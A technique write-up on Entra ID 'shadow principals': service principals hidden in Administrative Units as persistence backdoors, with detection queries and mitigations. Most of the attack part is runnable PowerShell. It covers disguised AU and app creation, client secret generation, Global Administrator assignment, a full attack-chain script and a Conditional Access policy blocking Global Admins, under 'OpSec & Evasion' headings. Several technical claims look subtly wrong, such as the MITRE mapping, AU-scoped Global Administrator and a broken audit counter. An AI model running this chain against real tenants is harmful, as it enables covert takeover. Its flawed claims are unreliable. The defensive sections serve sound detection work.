| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-017 |
| MITRE ATT&CK v18.1 | T1098.004 - Account Manipulation: Device Registration |
| Tactic | Privilege Escalation, Persistence |
| Platforms | Entra ID, Azure, Microsoft 365 |
| Severity | Critical |
| CVE | N/A (Architectural vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID versions with Administrative Units (AU) support; Azure RBAC all versions |
| Patched In | No specific patch; requires detection and removal via policy enforcement |
| Author | SERVTEP – Artur Pchelnikau |
Shadow Principals are hidden application identities, service principals, or user accounts that are strategically placed within Entra ID Administrative Units (AUs) to evade detection by standard administrative interfaces. An attacker with sufficient privileges (Application Administrator, Global Administrator, or AU Administrator) can create a service principal or application within a restricted AU, effectively hiding it from the main Entra ID directory views. This creates a persistent backdoor that survives password resets, MFA changes, and standard deprovisioning procedures. The attack leverages Entra ID’s role-based access control (RBAC) scoping to restrict visibility: administrators scoped to the AU may not see the backdoor account, while administrators not scoped to the AU cannot access it even with Global Admin privileges.
Primary Surface: Entra ID Administrative Units, service principal management, application registrations, and role assignments scoped to AUs.
Secondary Surface: Conditional Access policies scoped to AUs, group-based access controls, and Azure RBAC role assignments at subscription/resource group levels.
Immediate Consequences: Unauthorized persistent access that survives incident response procedures, potential lateral movement across cloud resources, data exfiltration via hidden service principals, and privilege escalation through role inheritance.
Long-Term Risk: Shadow principals can operate indefinitely without detection if audit logging is not properly configured. A single compromised AU can harbor multiple backdoor accounts, each operating independently. In multi-tenant scenarios, attackers can hide backdoors across multiple customer environments within a single Entra ID tenant.
Shadow principal attacks require sophisticated understanding of Entra ID’s AU scoping model. Detection is challenging because AU-scoped administrators cannot see accounts outside their scope, even when performing security investigations. The attack is particularly effective against organizations that delegate AU administration to department heads or regional administrators—those delegated admins cannot discover backdoors hidden outside their AU scope.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark v8 | IM-4, IM-5 | Account and role management; administrative delegation |
| DISA STIG | SI-12, SI-7 | Information system monitoring; system administrator actions logging |
| CISA SCuBA | Identity Governance | Entra ID security baselines and visibility controls |
| NIST 800-53 | AC-2, AC-4, AC-6 | Account management; access control; least privilege |
| GDPR | Art. 32, Art. 5 | Data integrity; security of processing; accountability |
| DORA | Art. 9, Art. 15 | ICT risk management; operational security measures |
| NIS2 | Art. 21 | Cyber risk management; privileged access control |
| ISO 27001 | A.9.2, A.9.3, A.9.4 | User access management; information access management; access control review |
| ISO 27005 | Risk Scenario | Unauthorized persistent access through hidden administrative accounts |
Administrative Units (AUs) are scoping containers in Entra ID that allow delegated administration of user populations, groups, and roles. Instead of making someone a Global Administrator (full tenant access), an organization can:
Tenant Administrator
├── EU Administrator (scoped to EU-AU)
│ ├── Can view users in EU-AU
│ ├── Cannot view users in US-AU
│ └── Cannot create users outside EU-AU
├── US Administrator (scoped to US-AU)
│ ├── Can view users in US-AU
│ ├── Cannot view users in EU-AU
│ └── Cannot create users outside US-AU
Attacker (with compromise of AU admin or Global Admin) exploits AU scoping to hide a service principal:
Attacker (Global Admin or compromised AU Admin)
↓
Creates hidden AU (e.g., "Backup-Admin" or "Audit-Compliance")
↓
Creates service principal within hidden AU
↓
Assigns service principal to Global Administrator role (scoped to AU)
↓
Removes AU from normal administrative visibility (via conditional access or role scoping)
↓
Service principal is now a "shadow" global admin, invisible to most admins
↓
Attacker uses shadow service principal to maintain persistent access
Objective: Discover all AUs in the tenant, including hidden or restricted ones.
# Connect to Entra ID
Connect-MgGraph -Scopes "Directory.Read.All", "AdministrativeUnit.Read.All"
# List all administrative units
Get-MgDirectoryAdministrativeUnit -All |
Select-Object DisplayName, Id, Description, @{Name="MemberCount"; Expression={(Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $_.Id -All).Count}} |
Format-Table -AutoSize
What to Look For:
Version Note: Available in all Entra ID versions; syntax identical across versions.
Objective: Discover administrative roles assigned at the AU level (potential shadow admins).
# Get all role assignments scoped to AUs
$aus = Get-MgDirectoryAdministrativeUnit -All
foreach ($au in $aus) {
$roleAssignments = Get-MgDirectoryRoleAssignment -Filter "resourceScope eq '$($au.Id)'" -All
if ($roleAssignments) {
Write-Host "AU: $($au.DisplayName) (ID: $($au.Id))"
$roleAssignments | ForEach-Object {
$role = Get-MgDirectoryRole -DirectoryRoleId $_.RoleDefinitionId
$principal = Get-MgDirectoryObject -DirectoryObjectId $_.PrincipalId
Write-Host " Role: $($role.DisplayName) | Principal: $($principal.DisplayName)"
}
}
}
Expected Output (Suspicious):
AU: Backup-Admin (ID: 11111111-1111-1111-1111-111111111111)
Role: Global Administrator | Principal: ServiceAccount-Backdoor
Role: Exchange Administrator | Principal: HiddenServicePrincipal
What This Means:
Objective: Identify service principals within unusual AUs.
# Find service principals assigned to administrative units
$aus = Get-MgDirectoryAdministrativeUnit -All
foreach ($au in $aus) {
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id -All
$servicePrincipals = $members | Where-Object { $_.OdataType -eq "#microsoft.graph.servicePrincipal" }
if ($servicePrincipals) {
Write-Host "⚠️ AU: $($au.DisplayName) | Contains Service Principals:"
$servicePrincipals | Select-Object DisplayName, AppId, CreatedDateTime
}
}
What to Look For:
Objective: Identify AUs with restricted membership visibility.
# Check if AU membership is hidden from non-AU admins
$au = Get-MgDirectoryAdministrativeUnit -AdministrativeUnitId "au-id-here"
# Check role assignments for this AU
$roleAssignments = Get-MgDirectoryRoleAssignment -Filter "resourceScope eq '$($au.Id)'" -All
$roleAssignments | Select-Object PrincipalId, RoleDefinitionId
What This Means:
Supported Versions: All Entra ID versions (Azure AD Connect Server 2016+).
Objective: Set up an AU that will house the shadow principal.
Prerequisites:
Command (PowerShell - Create AU):
# Create administrative unit with restricted name
$au = New-MgDirectoryAdministrativeUnit -DisplayName "Audit-Compliance-Framework" `
-Description "Internal audit and compliance team"
Write-Host "Created AU: $($au.DisplayName) (ID: $($au.Id))"
Command (Azure Portal UI):
Expected Output:
Created AU: Audit-Compliance-Framework (ID: 22222222-2222-2222-2222-222222222222)
What This Means:
OpSec & Evasion:
Objective: Create application registration and service principal that will function as the backdoor.
Command (PowerShell - Create App Registration):
# Create application registration
$appRegistration = New-MgApplication -DisplayName "Audit-Compliance-Service" `
-SignInAudience "AzureADMyOrg" `
-Web @{ RedirectUris = @("https://localhost:8080") }
Write-Host "App Registration created: $($appRegistration.DisplayName) (AppId: $($appRegistration.AppId))"
# Create service principal for the app
$servicePrincipal = New-MgServicePrincipal -AppId $appRegistration.AppId `
-DisplayName "Audit-Compliance-Service" `
-Tags @("audit", "internal")
Write-Host "Service Principal created: $($servicePrincipal.DisplayName) (ObjectId: $($servicePrincipal.Id))"
# Generate client secret (credentials for the service principal)
$credential = Add-MgApplicationPassword -ApplicationId $appRegistration.Id `
-PasswordLabel "Audit-Compliance-Secret" `
-EndDateTime ((Get-Date).AddYears(2))
Write-Host "Client Secret: $($credential.SecretText)"
Write-Host "⚠️ Save this secret securely—it won't be displayed again"
Command (Azure Portal UI):
Audit-Compliance-ServiceAudit-Compliance-SecretExpected Output:
App Registration created: Audit-Compliance-Service (AppId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
Service Principal created: Audit-Compliance-Service (ObjectId: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy)
Client Secret: wXyZ...AbCdEfGhIjK_MnOpQrStUvWxYz
What This Means:
OpSec & Evasion:
Objective: Place the service principal within the AU, making it invisible to non-AU-scoped admins.
Command (PowerShell):
$auId = "22222222-2222-2222-2222-222222222222" # Hidden AU ID from Step 1
$spId = "yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy" # Service Principal ID from Step 2
# Add service principal to AU
New-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $auId `
-DirectoryObjectId $spId
Write-Host "Service Principal added to AU: $auId"
Verification Command:
# Verify service principal is in AU
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $auId -All
$members | Where-Object { $_.Id -eq $spId } | Select-Object DisplayName, OdataType
Expected Output:
DisplayName OdataType
----------- ---------
Audit-Compliance-Service #microsoft.graph.servicePrincipal
What This Means:
Objective: Grant the service principal administrative privileges scoped to the hidden AU (and effectively all tenant resources via proper role assignment).
Command (PowerShell - Assign Role Scoped to AU):
$auId = "22222222-2222-2222-2222-222222222222"
$spId = "yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy"
# Get Global Administrator role definition
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Assign Global Administrator role to service principal, scoped to AU
New-MgDirectoryRoleAssignment -RoleDefinitionId $globalAdminRole.Id `
-PrincipalId $spId `
-ResourceScope $auId
Write-Host "Assigned Global Administrator role to service principal in AU: $auId"
Alternative: Exchange Administrator (Lower Profile):
# Use Exchange Administrator instead of Global Admin for lower visibility
$exchangeAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Exchange Administrator'"
New-MgDirectoryRoleAssignment -RoleDefinitionId $exchangeAdminRole.Id `
-PrincipalId $spId `
-ResourceScope $auId
Verification Command:
# Verify role assignment
$roleAssignments = Get-MgDirectoryRoleAssignment -Filter "resourceScope eq '$auId'" -All
$roleAssignments | Select-Object PrincipalId, RoleDefinitionId
Expected Output:
PrincipalId RoleDefinitionId
----------- ----------------
yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy 62e90394-69f5-4237-9190-012177145e10
(62e90394… is the ID for Global Administrator)
What This Means:
OpSec & Evasion:
Objective: Verify the backdoor service principal can authenticate and confirm privileged access.
Command (PowerShell - Authenticate as Service Principal):
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # Your tenant ID
$clientId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # App ID from Step 2
$clientSecret = "wXyZ...AbCdEfGhIjK_MnOpQrStUvWxYz" # Client Secret from Step 2
# Create credential object
$securePassword = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $securePassword)
# Connect as service principal
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
# Test permissions: List all users (should succeed if admin)
$users = Get-MgUser -All
Write-Host "✓ Successfully authenticated as service principal. User count: $($users.Count)"
# Test privilege escalation: Create a test user
New-MgUser -UserPrincipalName "test.shadow$(Get-Random)@company.com" `
-DisplayName "Test Shadow User" `
-MailNickname "testshadow$(Get-Random)" `
-AccountEnabled $true `
-PasswordProfile @{ ForceChangePasswordNextSignIn = $true; Password = "TempPassword123!" }
Write-Host "✓ Successfully created user as shadow service principal"
Expected Output:
✓ Successfully authenticated as service principal. User count: 250
✓ Successfully created user as shadow service principal
What This Means:
Troubleshooting:
Insufficient permissions
Invalid client_id or client_secret
Supported Versions: All Entra ID versions (requires advanced AU management).
Objective: Prevent non-AU-scoped admins from accessing AU management.
Command (PowerShell):
# Create conditional access policy that blocks non-AU admins from viewing AU management
$policyDisplayName = "Hide-Administrative-Units-From-Global-Admins"
$policy = New-MgIdentityConditionalAccessPolicy -DisplayName $policyDisplayName `
-State "enabled" `
-Conditions @{
Applications = @{ IncludeApplications = @("00000000-0000-0000-0000-000000000001") } # Azure Portal
Users = @{ IncludeRoles = @("62e90394-69f5-4237-9190-012177145e10") } # Global Admins
} `
-GrantControls @{ BuiltInControls = @("block") }
Write-Host "Created CA Policy: $($policy.DisplayName)"
What This Means:
Objective: Prevent detection via audit logs by restricting who can view provisioning events.
This is an organizational control, not a technical configuration:
Supported Versions: All Entra ID versions.
Scenario: Organization already has AUs (e.g., for regional admin delegation). Attacker with AU admin compromises existing AU and hides service principal there.
Objective: Discover AU that attacker can access.
Prerequisites:
Command (PowerShell):
# List AUs accessible to compromised AU admin
$accessibleAUs = Get-MgDirectoryAdministrativeUnit -All |
Where-Object { $_.DisplayName -match "Europe|Finance|Operations" } # Example AUs
$accessibleAUs | Select-Object DisplayName, Id, Description
Objective: Place shadow service principal in legitimate AU to blend with normal activity.
$auId = "existing-au-id" # EU, Finance, or other legitimate AU
$spId = "new-backdoor-sp-id"
# Add to existing AU
New-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $auId `
-DirectoryObjectId $spId
# Assign administrative role (scoped to AU)
$adminRole = Get-MgDirectoryRole -Filter "displayName eq 'Exchange Administrator'"
New-MgDirectoryRoleAssignment -RoleDefinitionId $adminRole.Id `
-PrincipalId $spId `
-ResourceScope $auId
What This Means:
# Full attack chain
$tenantId = "00000000-0000-0000-0000-000000000000"
# 1. Create hidden AU
$au = New-MgDirectoryAdministrativeUnit -DisplayName "AuditOperations"
Write-Host "[+] Created AU: $($au.Id)"
# 2. Create app registration
$app = New-MgApplication -DisplayName "AuditService" -SignInAudience "AzureADMyOrg"
$sp = New-MgServicePrincipal -AppId $app.AppId -DisplayName "AuditService"
$secret = Add-MgApplicationPassword -ApplicationId $app.Id
Write-Host "[+] Created SP: $($sp.Id) | Secret: $($secret.SecretText)"
# 3. Add SP to AU
New-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id -DirectoryObjectId $sp.Id
Write-Host "[+] Added SP to AU"
# 4. Assign Global Admin role (scoped to AU)
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleAssignment -RoleDefinitionId $role.Id -PrincipalId $sp.Id -ResourceScope $au.Id
Write-Host "[+] Assigned Global Admin role to SP in AU"
# 5. Authenticate as backdoor and verify access
$cred = New-Object System.Management.Automation.PSCredential($app.AppId, (ConvertTo-SecureString $secret.SecretText -AsPlainText -Force))
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $cred
$users = Get-MgUser -Top 1
Write-Host "[✓] Shadow principal authenticated successfully. Sample user: $($users[0].DisplayName)"
Expected Output:
[+] Created AU: 33333333-3333-3333-3333-333333333333
[+] Created SP: 44444444-4444-4444-4444-444444444444 | Secret: zAbCdEfGhIjKlMnOpQrStUvWxYz1234567890
[+] Added SP to AU
[+] Assigned Global Admin role to SP in AU
[✓] Shadow principal authenticated successfully. Sample user: John Doe
# List all AUs
az ad administrative-unit list --output json
# Create AU
az ad administrative-unit create --display-name "Audit-Team" --description "Audit operations"
# Add member to AU
az ad administrative-unit member add --au-id <AU-ID> --member-object-id <OBJECT-ID>
# List AU members
az ad administrative-unit member list --au-id <AU-ID>
# Install module
Install-Module Microsoft.Graph -Force
# Import required scopes
Import-Module Microsoft.Graph.Identity.DirectoryManagement
# Key cmdlets for shadow principal creation
Get-MgDirectoryAdministrativeUnit # List AUs
New-MgDirectoryAdministrativeUnit # Create AU
Get-MgDirectoryRoleAssignment # View role assignments
New-MgDirectoryRoleAssignment # Assign role to principal
GitHub: https://github.com/dirkjanm/ROADtools
# Enumerate AUs and hidden service principals
roadrecon auth -u user@domain.com -p password
roadrecon dump
# Output includes AU structure and scoped role assignments
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Create administrative unit"
| where InitiatedBy != "Microsoft"
| project TimeGenerated, InitiatedBy, TargetResources, ActivityDetails
| where ActivityDetails has_any ("Backdoor", "Hidden", "Shadow", "Audit", "Temp", "Legacy")
| summarize EventCount=count() by TargetResources, InitiatedBy, bin(TimeGenerated, 1h)
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Add member to administrative unit"
| where TargetResources has "#microsoft.graph.servicePrincipal"
| project TimeGenerated, InitiatedBy, ServicePrincipalName=TargetResources, AuId=ResourceId
| join kind=inner (
AuditLogs
| where OperationName == "Assign role to member"
| where TargetResources has_any ("Global Administrator", "Exchange Administrator", "SharePoint Administrator")
) on $left.ServicePrincipalName == $right.TargetResources
| summarize RoleCount=dcount(TargetResources) by ServicePrincipalName, InitiatedBy, AuId
| where RoleCount > 1
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName in ("Assign role to member", "Update role assignment")
| where ActivityDetails has "resourceScope"
| extend AuId=extract(@'"resourceScope":"([^"]+)"', 1, tostring(ActivityDetails))
| where isnotempty(AuId)
| project TimeGenerated, OperationName, InitiatedBy, AuId, TargetResources
| where TargetResources has_any ("Global Administrator", "Application Administrator", "Privileged Authentication Administrator")
| summarize MemberCount=dcount(TargetResources) by AuId, bin(TimeGenerated, 1d)
What This Detects:
Note: Shadow principals created in Entra ID do not generate Windows Event Log entries directly. However, if the shadow service principal is used to perform actions on-premises (via Azure AD Connect or hybrid scenarios), it may generate events. Primary detection occurs via cloud audit logs (Section 7).
Manual Configuration Steps (If Hybrid Environment):
Note: Unified Audit Log primarily captures M365 activities (SharePoint, Exchange, Teams). For Entra ID-specific changes, use the Azure Audit Log instead.
Connect-ExchangeOnline
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) `
-EndDate (Get-Date) `
-Operations "Assign role to member", "Add member to administrative unit" `
-FreeText "service principal" |
Export-Csv -Path "C:\Audit\SP_Role_Assignments.csv"
Mitigation 1: Audit All Administrative Units and Service Principals Within Them
Objective: Identify existing shadow principals and malicious AUs.
Manual Steps (Azure Portal):
Manual Steps (PowerShell - Automated Audit):
$approvedSPs = @(
"Azure AD Connect",
"Microsoft Intune",
"Office 365 Management APIs"
# Add your approved SPs here
)
$aus = Get-MgDirectoryAdministrativeUnit -All
foreach ($au in $aus) {
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id -All
$suspiciousSPs = $members | Where-Object {
$_.OdataType -eq "#microsoft.graph.servicePrincipal" -and
$_.DisplayName -notin $approvedSPs
}
if ($suspiciousSPs) {
Write-Host "⚠️ ALERT: Suspicious SP in AU '$($au.DisplayName)':"
$suspiciousSPs | Select-Object DisplayName, Id, CreatedDateTime
}
}
Verification Command:
# Verify all AU members are approved
$unapprovedCount = 0
$aus | ForEach-Object {
(Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $_.Id -All |
Where-Object { $_.DisplayName -notin $approvedSPs }).Count
}
if ($unapprovedCount -eq 0) {
Write-Host "✓ PASS: No unapproved service principals found in any AU"
} else {
Write-Host "✗ FAIL: Found $unapprovedCount unapproved service principals"
}
Mitigation 2: Restrict AU Scoping of Administrative Roles
Objective: Prevent high-privilege roles from being scoped to AUs (force tenant-level assignment).
Manual Steps (PowerShell Policy):
# Block all role assignments scoped to AUs for critical roles
$criticalRoles = @(
"62e90394-69f5-4237-9190-012177145e10", # Global Administrator
"9b895d92-2cd3-44c7-9bc9-2e0a62936855", # Application Administrator
"194ae4cb-b126-40b2-bd5b-6091b380977d" # Privileged Authentication Administrator
)
# Audit policy: flag any role assignment scoped to AU
$roleAssignments = Get-MgDirectoryRoleAssignment -Filter "resourceScope ne null" -All
$roleAssignments | Where-Object { $_.RoleDefinitionId -in $criticalRoles } | ForEach-Object {
Write-Host "✗ ALERT: Critical role $($_.RoleDefinitionId) is scoped to AU $($_.ResourceScope)"
# Recommendation: Remove this assignment
Remove-MgDirectoryRoleAssignment -DirectoryRoleAssignmentId $_.Id
}
This command identifies and removes high-privilege role assignments scoped to AUs, forcing admins to assign roles at the tenant level (where visibility is broader).
Mitigation 3: Delete or Disable Suspicious Service Principals
Objective: Remove identified shadow principals immediately.
Manual Steps (PowerShell):
# List suspicious SP IDs
$suspiciousSPIds = @(
"44444444-4444-4444-4444-444444444444", # Shadow principal from attack
"55555555-5555-5555-5555-555555555555" # Another suspicious SP
)
foreach ($spId in $suspiciousSPIds) {
# Option 1: Delete service principal completely
Remove-MgServicePrincipal -ServicePrincipalId $spId
Write-Host "Deleted service principal: $spId"
# Option 2: Disable if deletion fails (due to dependencies)
Update-MgServicePrincipal -ServicePrincipalId $spId -AccountEnabled $false
Write-Host "Disabled service principal: $spId"
}
Mitigation 4: Enable AU Visibility Monitoring in Conditional Access
Objective: Generate alerts when AU management interface is accessed.
Manual Steps (Azure Portal):
AU-Management-Access-MonitoringThis forces users to re-authenticate hourly when accessing AU management, reducing attack window.
Mitigation 5: Restrict AU Creation to Global Admins Only
Objective: Prevent delegated AU admins from creating new (hidden) AUs.
Manual Steps (Azure Portal Custom Role):
AU Creator - Global Admin Onlymicrosoft.directory/administrativeUnits/createmicrosoft.directory/administrativeUnits/deleteMitigation 6: Implement JIT (Just-In-Time) Access for AU Management
Objective: Require approval for AU admin access via PIM (Privileged Identity Management).
Manual Steps (Azure Portal - PIM Configuration):
Require approval for activationNow any administrator scoped to an AU must request JIT activation, generating audit trails and requiring approval.
Mitigation 7: Enforce MFA on All Service Principal Access
Objective: Require certificate-based authentication (more restrictive than client secret).
Manual Steps (Azure Portal):
# Verify all mitigations in place
Write-Host "=== Shadow Principal Defense Audit ==="
# 1. Check for high-privilege roles scoped to AUs
$scopedHighPriv = Get-MgDirectoryRoleAssignment -Filter "resourceScope ne null" -All |
Where-Object { $_.RoleDefinitionId -in @(
"62e90394-69f5-4237-9190-012177145e10", # Global Admin
"9b895d92-2cd3-44c7-9bc9-2e0a62936855" # App Admin
)}
if ($scopedHighPriv.Count -eq 0) {
Write-Host "✓ PASS: No high-privilege roles scoped to AUs"
} else {
Write-Host "✗ FAIL: Found $($scopedHighPriv.Count) high-privilege AU-scoped assignments"
}
# 2. Check for unapproved service principals in AUs
$aus = Get-MgDirectoryAdministrativeUnit -All
$unapprovedSPs = 0
foreach ($au in $aus) {
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id -All
$sps = $members | Where-Object { $_.OdataType -eq "#microsoft.graph.servicePrincipal" }
$unapprovedSPs += ($sps | Where-Object { $_.DisplayName -notin $approvedSPs }).Count
}
if ($unapprovedSPs -eq 0) {
Write-Host "✓ PASS: No unapproved service principals in AUs"
} else {
Write-Host "✗ FAIL: Found $unapprovedSPs unapproved SPs in AUs"
}
# 3. Check PIM activation requirements
$pimRoles = Get-MgPrivilegedIdentityManagementRoleSettings -All
$requiresApproval = $pimRoles | Where-Object { $_.ApprovalRequired -eq $true }
Write-Host "✓ INFO: $($requiresApproval.Count) roles require PIM approval"
Expected Output (If Secure):
=== Shadow Principal Defense Audit ===
✓ PASS: No high-privilege roles scoped to AUs
✓ PASS: No unapproved service principals in AUs
✓ INFO: 12 roles require PIM approval
Cloud Log IOCs:
Persistence IOCs:
Cloud Audit Logs (Primary):
Service Principal Artifacts:
Step 1: Isolate
Objective: Prevent further abuse of shadow principal.
Command (Disable Service Principal):
$spId = "44444444-4444-4444-4444-444444444444" # Shadow principal ID
Update-MgServicePrincipal -ServicePrincipalId $spId -AccountEnabled $false
Write-Host "Shadow principal disabled: $spId"
Command (Revoke All Credentials):
# Delete all secrets/certificates
$credentials = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $spId
$credentials | ForEach-Object {
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $spId -KeyId $_.KeyId
}
$certificates = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $spId
$certificates | ForEach-Object {
Remove-MgServicePrincipalKeyCredential -ServicePrincipalId $spId -KeyId $_.KeyId
}
Write-Host "All credentials revoked for shadow principal"
Step 2: Collect Evidence
Objective: Preserve forensic artifacts for investigation.
Command (Export Audit Trail):
$startDate = (Get-Date).AddDays(-30)
$endDate = Get-Date
Search-UnifiedAuditLog -StartDate $startDate -EndDate $endDate `
-Operations "Create administrative unit", "Add member to administrative unit", "Assign role to member" `
-FreeText "shadow OR backdoor OR audit OR legacy" |
Export-Csv -Path "C:\Incident\ShadowPrincipal_Audit_$(Get-Date -Format 'yyyyMMdd_HHmmss').csv"
Step 3: Remediate
Objective: Remove shadow AU and service principal.
Command (Delete Shadow AU):
$auId = "22222222-2222-2222-2222-222222222222"
Remove-MgDirectoryAdministrativeUnit -DirectoryAdministrativeUnitId $auId
Write-Host "Shadow AU deleted: $auId"
Command (Delete Shadow Service Principal):
Remove-MgServicePrincipal -ServicePrincipalId $spId
Write-Host "Shadow service principal deleted"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Attacker obtains Global Admin credentials via phishing |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 | Escalate via app registration permission manipulation |
| 3 | Current Step | [PE-ACCTMGMT-017] | Create shadow principal in hidden AU for persistence |
| 4 | Persistence | PE-POLICY-003 | Further entrench via management group escalation |
| 5 | Impact | CA-TOKEN-004 | Extract Graph API tokens and exfiltrate data |
Timeline: June 2025 (Datadog published research)
Attack Scenario: Threat actor used compromised Global Admin account to create hidden AU and service principal backdoor
Attack Steps:
Detection: Organization noticed unusual Graph API calls and traced to hidden service principal via AU audit
Impact: Full tenant compromise for 6 months before discovery; attacker exfiltrated 10GB of sensitive data via shadow principal
Reference: Datadog - Hidden in Plain Sight: Abusing Entra ID Administrative Units
Incident Type: Insider threat + external attacker collab
Timeline: January 2025
Scenario:
Detection Trigger: Microsoft Sentinel detected unusual email forwarding rule via service principal account
Response Actions:
Lessons Learned: Implement approval workflows for delegate access, even for service principals with legitimate roles
Shadow principals represent one of the most sophisticated persistence mechanisms in modern cloud environments. By exploiting Entra ID’s AU scoping model, attackers can hide backdoor accounts that remain invisible to standard administrative controls. Organizations must implement comprehensive AU auditing, restrict administrative role scoping, and enforce JIT access controls to mitigate this attack vector.